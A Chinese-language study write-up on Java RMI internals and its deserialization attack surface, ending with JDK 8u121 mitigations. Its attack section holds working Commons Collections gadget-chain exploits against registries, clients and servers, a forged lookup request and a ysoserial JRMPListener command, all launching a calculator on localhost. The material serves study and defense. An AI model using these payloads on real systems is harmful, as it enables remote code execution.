Java 安全-RMI学习总结
概念
在Java反序列化漏洞有着一些老生常谈的名词理解
COBAR
(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,名字很长,定义的一个结构(规定语言在使用这个结构时候分哪几个部分,因为我们后面的序列化过程都是按照这个结构来的)
这个结构当然是抽象的,后面在具体代码实现上才会呈现这个结构部分,所以这里理解三个部分互相大致的关系就好。
CORBA结构分为三部分:
- naming service
- client side
- servant side
三个部分之间的关系就好比人看书,naming service担任着书中目录的角色,人(client side)从目录(naming service)中找具体内容(servant side)。
stub(存根)和skeleton(骨架)
简单三个部分说了,但是实际这个结构中稍微复杂一些,client和servant之间的交流还必须引入一个stub(存根)和skeleton(骨架),简单理解就是client和servant之间多了两个人替他们传话,stub给client传话,skeleton给servant传话,说白了也就是充当client和servant的"网关路由"的一个功能。具体存根和骨架干了啥,师傅可以去看下RMI通信过程原理。
GIOP && IIOP
全称通用对象请求协议,试想一个下客户端和服务端之间交流肯定要遵循某种协议的,这里GIOP就是CORBA中通信过程遵循的协议而在TCP/IP这层用到的协议,就是我们2551中的IIOP协议
JNDI
JNDI (Java Naming and Directory Interface) 全称是java名词目录接口,其实可以发现这里JNDI就是前面CORBA体系中那个naming service的角色,在Java中它有着Naming Service和Directory Service的功能,说白了就是给servant那边在目录中注册绑定,给client那边在目录中查询内容。
LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,这个在后面测试中也常会看到LDAP服务和RMI服务起的接收端,LDAP主要充当目录服务的协议,用来保存一些属性信息的,但要和RMI区别开来,LDAP是用于对一个存在的目录数据库进行访问,而RMI提供访问远程对象和调用
RMI
RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。
JRMP
Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
RMI可以使用以下协议实现:
Java远程方法协议(JRMP):专门为RMI设计的协议
Internet Inter-ORB协议(IIOP):基于CORBA实现的跨语言协议
RMI概述
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
不同于socket,RMI中分为三大部分:Server、Client、Registry 。
Server: 提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
RMI基础运用
前面也说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote
接口。
-
定义一个远程的接口
import java.rmi.Remote; import java.rmi.RemoteException; public interface IRemoteObj extends Remote { public String RmiDemo(Object obj) throws RemoteException; }
在定义远程接口的时候需要继承
java.rmi.Remote
接口,并且修饰符需要为public
否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException
的异常。 -
编写一个远程接口的实现类
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class IRemoteImpl extends UnicastRemoteObject implements IRemoteObj { protected IRemoteImpl() throws RemoteException { super(); } @Override public String RmiDemo(Object obj) throws RemoteException { System.out.println("RmiDemo"); return "Here is RmiDemo"; } }
在编写该实现类中需要将该类继承
UnicastRemoteObject
。 -
创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ServerDemo { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remote = new IRemoteImpl(); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("remote", remote); System.out.println("Server is ok"); //UnicastRemoteObject.unexportObject(remoteMath, false); 设置对象不可被调用 //当然也可以通过java.rmi.Naming以键值对的形式来将服务命名进行绑定 } }
到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。
-
编写客户端并且调用远程对象
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ClientDemo { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost",1099); // 从Registry中检索远程对象的存根/代理 IRemoteObj remoteQing = (IRemoteObj) registry.lookup("remote"); String Str = remoteQing.RmiDemo("a"); System.out.println(Str); } }
在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。这就造成了漏洞隐患。
RMI流程原理
因为创建的流程中是在本地进行,不涉及通信的过程,所以这里我们主要看的是请求的部分,创建的部分理一下流程
创建远程服务
创建远程对象其实就是实例化对象
然后我们跟进看一次下,然后是进入到我们接口的构造函数
这里我们继承了UnicastRemoteObject类,对象的创建就是在父类的构造函数中创建的,跟进
这里实际上是会把远程对象发布到一个随机的端口,这里是默认端口,然后进入exportObject,这就是一个发布函数
我们可以看到这是一个静态函数,之前因为继承了UnicastRemoteObject类,所以静态函数会自动执行,不然的化就要手动调用这个静态函数
然后看传递的参数乐意了解到传递了一个远程对象和一个UnicastServerRef类,前面的远程对象的作用是用来真正实现逻辑的,后面一个参数是用于处理网络请求的,传递进去一个端口,IP自动获取
然后继续跟进
然后在这里又创建了一个LiveRef类,继续向下跟进
这里调用了LiveRef的构造函数,第一个参数是ID,然后第二参数是处理网络请求的一个类,然后继续向下跟进
然后LiveRef类中的ep就保存了有ip,端口和真正处理网络请求的TCPEndpoint,这里还是一层封装,然后就继续向下走,我们就回到了UnicastServerRef
然后就调用了父类UnicastRef的构造方法
其实也是就一个赋值,然后其实也可以发现这里一个叫UnicastRef,另一个叫UnicastServerRef,其实这也就是一个对应客户端一个对应服务端,继续向下
然后其实这个还是之前创建的那个,对应着远程服务的端口,其他都只是赋值,并没有重新创建,然后就出来了,又回到了exportObject
然后继续向下
然后这里传进来了我们之前创建的UnicastServerRef,然后又重新进行了赋值,但是这里面其实还是我们之前的LiveRef,然后接下来又调用了exportObject,在这整个过程中一直都在调用exportObject,只是在不同的类去调用
然后在这里创建了一个代理stub,然后根据之前的流程图可以得知这个stub其实就是客户端真正调用的代理,也就是真正进行网络请求的东西
然后这客户端的东西在服务端创建了,这就很奇怪,但是这个流程其实是先在服务端创建好了之后再放到注册中心去,然后客户端去注册中心去拿,然后再对其进行操作,让他调用服务端的代理去操作服务端
stub是在这个步骤(stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
)进行创建的,跟进去
然后可以先看一下参数
传进来的类然后和clientRef,并且在clientRef里面还是我们之前创建的LiveRef,然后继续向下会有一个判断(if (forceStubUse ||!(ignoreStubClasses ||!stubClassExists(remoteClass)))
),这里为Ture的话就对创建stub,然后为Ture的情况是stubClassExists(remoteClass)
为Ture,跟进去
然后在这里可以了解到,这里会在名字后加上_Stub
,如果有这个类的话就会为真,但是我们没有写这个类,实际上是在JDK中自己定义了这个类
如果说要调用这些类的话就会直接到这里面找,但是我们现在没有用到,这里也就是false,然后接下来就是一个创建动态代理标准流程,然后我们可以看见在handler中保存的还是我们之前的LiveRef
然后到这里我们的动态代理就创建好了
然后接下来创建了以一个Target,这里其实是一个总封装,并且它的id和我们创建的LiveRef中保存的id是一样的,这其实就能够说明这中间最核心的就是LiveRef
然后继续向下执行到ref.exportObject(target);
,然后我们跟到调用的部分,然后就跟进到TCPTransport的exportObject
然后这里我们就能看到listen()
,也就是在这里真正的对网络请求进行处理了,跟进
然后在其中可以看到开启了一个新的线程,区分于代码逻辑的线程,然后开启线程等到客户端的连接,然后在过程中也给端口进行了赋值(之前是默认值0)
然后这个远程对象就已经发布出去了,继续向下执行到super.exportObject(target);
跟进
先是进行了一个赋值,然后执行putTarget
在这过程中这里将target保存在了自己定义的一个静态的表里面,然后到这里发布的整个过程就就完成了
创建注册中心
创建注册中心的流程在大致上和创建远程服务的差不多,主要的差别就是在创建代理(createProxy
)的时候
之前是没有找到类,但是在创建注册中心的时候是能够在JDK自己的类中找到对应的类的,然后直接forName
创建代理类,然后继续向下走
这里是判断一下是否是服务端创建出来的,如果为Ture就调用一个setSkeleton方法
然后会调用一个createSkeleton
方法
Skeleton可以根据之前的流程图得知他是服务端的代理,然后这也是通过forName
直接创建出来的
然后回到UnicastServerRef#exportObject
可以发现impl中保存的ref中加了一个skel对象,接下就是创建Target,并且把Target保存,进入ref.exportObject(target);
中,然后走到putTarget的位置
然后查看ObjectTable中保存了一些什么,然后我们创建的远程对象应该都是保存在这个里面的
然后发现保存了三个对象
其中DGCImpl_Stub
并不是我们创建的,这个是默认创建的一个分布式垃圾回收的类,这也是一个很重要的类,然后剩下的两个就是我们自己创建的两个类
一个远程服务的动态代理Stub类这里面的skel为null,一个注册中心的Stub类并且里面存在一个skel
绑定注册中心
创建注册中心之后就是绑定注册中心了
这里首先进行了一个检测是否本地绑定,然后bindings其实可以看到就是一个Hashtable
然后会检测里面有没有绑定的对象,如果有了的话就会报一个已经绑定的异常,没有的话就会把它put进去
客户端请求注册中心——客户端
流程:
从注册中心获取远程代理
----> 通过代理对服务端进行远程调用
首先看获取注册中心
这里其实和之前服务端创建注册中心是一样的,这里也在是本地创建了一个LiveRef,然后把ip和端口放了进去,然后封装了一下,再然后就是又调用了Util.createProxy
方法重新创建了一个Stub
然后就获取到了注册中心的Stub对象了,接下来就是通过它查找远程对象
反序列化点1
这里我们传了一个字符串进入来,然后将字符串写进了var3输出流里面,也就是经过序列化的,然后在这里其实就可以了解到在注册中心接收到之后肯定是要经过反序列化操作的,这里也就存在一个反序列化点,然后往后走调用了一个invoke的激活的方法
反序列化点2
然后又调用了executeCall的方法,这个方法就是客户端真正进行网络请求处理的方法,然后执行完之后又获取了一个输入流(返回值),然后通过反序列化的操作读出来
反序列化点3——JRMP攻击
然后在executeCall中还有一个点
在这里的话如果产生了这个异常的话也会通过反序列化读出对象,这里的本意应该是如果产生了异常了就通过反序列化读出更详细的异常信息
最后就是获取到remote对象
客户端请求服务端——客户端
因为调用的是动态代理类,所以必然会走到invoke方法中
然后先经过一串if判断,然后进入invokeRemoteMethod
然后又进入了一个重写的invoke方法
之前也还是创建连接,然后调用了一个marshalValue
反序列化点4
这里是做了一个序列化的操作,传进去的值就是我们之前传的字符串参数,然后又还是调用了call.executeCall();
这里之前说过了,这里就存在反序列化点,然后继续向下走
反序列化点5
这里就是获取返回值的操作,将返回的输入流反序列化得到结果
客户端请求注册中心——注册中心
在之前的创建注册中心的流程中执行了一个listen();
方法,在这里创建了一个新的线程用于网络请求,进入listen();
方法
然后可以看见在listen();
方法中又新建了一个线程
进入AcceptLoop,看新线程中的run方法
这里面就执行了executeAcceptLoop();
,进入
然后在这里面又创建了一个线程池,所以我们进入ConnectionHandler,并且查看它的run方法
这里面实际上也就是调用了run0(),进入
然后在run0()首先就开始解析协议里面的字段,然后走到后面调用了handleMessages
,进入handleMessages
首先也是读一些字段,然后根据传过来的字段值做一些不同的case操作,默认是调用的serviceCall
然后在这里面获取之前提到的Target,然后我们可以看一下这个Target里面保存了些什么
这里可以看到里面保存的就是我们之前创建的RegistryImpl_Stub
,然后获取了disp(分发器)
在这里面保存了skel,然后在后面执行了disp.dispatch(impl, call);
,跟进
然后因为之前我们disp有skel,所以这里不为空,进入oldDispatch
然后在这个就走到了skel.dispatch(obj, call, op, hash);
,终于到了skel里面,注册中心其实也可以看作一个特殊的服务端
反序列化点6
这里通过不同的case调用不同的方法,这里我们以我们现在待用的case2(lookup)为例
这里注册中心首先通过反序列化读取我们传过来的远程对象的名称
客户端请求服务端——服务端
前面的网络相关的逻辑都是一样的,我们先看到Target里面的Stub为动态代理
然后也会走到disp.dispatch(impl, call);
但是不同的是这里的skel为null,就没有进入oldDispatch
反序列化点7
但是继续往下走也还是获取了一个输入流,然后将输入流反序列化得到客户端传递过来的参数
反序列化点8
然后向下走就是服务端将返回值序列化之后在传递给客户端
客户端请求服务端——DGC
之前我们分析的时候了解到在创建注册中心的时候里面保存的Target保存了三个对象
- 远程服务的动态代理Stub类
- 注册中心的Stub类
- DGCImpl_Stub
这里我们先回到创建注册中心的putTarget步骤
目前来说在target里面放的还是远程对象,然后向下走,按照流程来说的话要走到objTable.put(oe, target);
这里才会把远程对象放进去,但是还没进行的时候其实objTable里面就是放进去了一个对象也就是DGCImpl_Stub
然后其实在之前的步骤中也可以看见它的创建流程
这里看起来只是一个函数的调用,但是这里的dgcLog
其实是一个类里面的静态变量,然后对静态变量进行调用的时候其实是会完成类的初始化的,调用到静态代码块
走到这里,然后继续向下看
继续
这里就是DGC的创建过程
然后处理逻辑也就是和之前的一样,对disp中的skel进行处理
然后我们重点看一下DGC的功能
DGCImpl_Stub
先看一下DGCImpl_Stub
里面两个方法,相当于一个强清除,一个弱清除
然后看其中内容可以发现
反序列化点9
在clean方法中这里调用了RemoteStub的invoke方法
然后就又会走到call.executeCall();,这也还是利用的JRMP攻击
反序列化点10
然后在dirty方法中这里接受了一个输入流然后进行了反序列化的操作
DGCImpl_Skel
然后看DGCImpl_Skel
相对应的肯定还是会有的
而且由于DGC的特性:创建了远程对象肯定会有DGC的服务,而且这里还不用知道参数类型
反序列化攻击方式
前面分析了客户端、服务端、注册中心三者创建及交互,其通讯过程是基于序列化的,那么有序列化,自然就会有反序列化,所以我们只需要根据反序列化的点去攻击
攻击注册中心
在RegistryImpl_Skel可以发现我们可以通过以下方法与注册中心进行交互:
- list
- bind
- rebind
- rebind
- lookup
我们来看看注册中心对这几种方法的处理,如果存在readObject,则可以利用其进行反序列化攻击。
list
因为list中没有readObject方法,所以无法攻击注册中心。
bind & rebind
在调用bind
和rebind
的时候都会调用readObject读出参数名和远程对象,这里可以利用
Payload
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
registry.bind("test", r);
}
}
重点关注:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述代码中创建了一个代理对象,这个代理对象代理了Remote.class接口,handler为我们的handler对象。当调用这个代理对象的一切方法时,最终都会转到调用handler的invoke方法。
而handler是InvocationHandler对象,所以这里在反序列化时会调用InvocationHandler对象的invoke方法
然后这里会调用memberValues
的get方法,此时的memberValues
是proxy_map
,其也是一个代理类对象,所以会继续触发proxy_map
的invoke
方法,后边的就是cc链的前半段内容了。
unbind & lookup
这里我们可以发现unbind和lookup实际上都会调用readObject来读取传递过来的参数,所以同样是可以利用的。
只不过这里存在一个问题,我们调用unbind或者lookup时,只允许我们传递字符串,所以没法传递我们的恶意对象。
这里我们可以利用伪造连接请求,直接通过反射实现
想要手动伪造请求,我们需要判断一下执行lookup的时候,的执行流程
在调用lookup之前,我们需要先获取客户端,通过getRegistry方法返回的是一个Registry_Stub对象。
Registry_Stub#lookup
我们只需要照抄一遍,再修改一下代码即可。
Demo:
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
然后,unbind也是同样的流程
攻击客户端
注册中心攻击客户端和服务端
PS:因为客户端和服务端都需要和注册中心进行通信,所以可以通过恶意的注册中心攻击客户端,也可以攻击服务端
这里我们以攻击客户端为例
对于注册中心来说,我们还是从这几个方法触发:
- bind
- unbind
- rebind
- list
- lookup
这里的每个方法,除了unbind和rebind,其他的都会返回数据给客户端,此时的数据是序列化的数据,所以客户端自然也会反序列化,那么我们只需要伪造注册中心的返回数据,就可以达到攻击客户端的效果啦。
这里ysoserial的JRMPListener已经做好了,命令如下:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
Client Demo:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}
这里应该是在之前传输一些约定好的数据时进行的序列化和反序列化,所以这里即使是调用的unbind的时候也会触发反序列化
服务端攻击客户端
服务端攻击客户端的场景呆滞分为以下两种
- 服务端返回Object对象
- 使用codebase
服务端返回Object对象
在RMI中,远程调用的方法返回的不一定是一个基础数据类型,也有可能是返回一个对象,在服务端给客户端返回一个对象的时候,客户端就会对其进行进行反序列化操作
所以我们可以伪造一个服务端,当客户端调用某个远程对象的时候,返回的就是我们事先构造好的恶意对象
恶意IRemoteImpl:
public class IRemoteImpl extends UnicastRemoteObject implements IRemoteObj {
protected IRemoteImpl() throws RemoteException {
super();
}
@Override
public Object RmiDemo(Object obj) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
return AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}
}
恶意服务端:
public class ServerDemo {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remote = new IRemoteImpl();
Registry registry = LocateRegistry.createRegistry(1099);;
registry.bind("remote", remote);
System.out.println("Server is ok");
//UnicastRemoteObject.unexportObject(remoteMath, false); 设置对象不可被调用
//当然也可以通过java.rmi.Naming以键值对的形式来将服务命名进行绑定
}
}
当客户端调用了服务端绑定的对象的恶意方法的时候,就会反序列化从服务端传递过来的恶意对象,从而触发RCE
当然,这种前提是客户端也要有对应的gadget才行。
远程加载对象
这个条件十分十分苛刻,在现实生活中基本不可能碰到。
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
具体可以参考这篇文章,利用条件太过于苛刻了:Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
java.security.policy这个默认是没有配置的,需要我们手动去配置。
攻击服务端
首先第一种方法就是和之前注册中心攻击客户端是一样的
服务端的远程方法存在Object参数
服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端。
前提:
- 服务端的某个远程方法传递参数为Object
Client Demo:
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
// 从Registry中检索远程对象的存根/代理
IRemoteObj remoteQing = (IRemoteObj) registry.lookup("remote");
Object obj = remoteQing.RmiDemo(payload());
System.out.println(obj);
}
public static Object payload() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
return annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
}
}
远程加载对象
和上边Server打Client一样,都属于十分十分十分难利用的点。
参考:https://paper.seebug.org/1091/#serverrmi
JDK高版本
之前使用的是JDK的比较老的版本(1.8.0_65),实际上随着jdk版本的更新,RMI实际上是做了一些防御处理,在8u121做了一些升级措施
在RegistryImpl中做了白名单处理
白名单内容:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的类不是白名单中的类,就会返回 REJECTED 操作符,表示序列化流中有不合法的内容,直接抛出异常。
这里的限制实际上来说就已经很严重了
然后DGC的限制实际上更加严重,在DGCImpl中加入了checkInput函数
只有限定的几个类才允许反序列化
然后远程对象直接反序列化的需要知道远程对象的具体参数才行,这个也是有限制的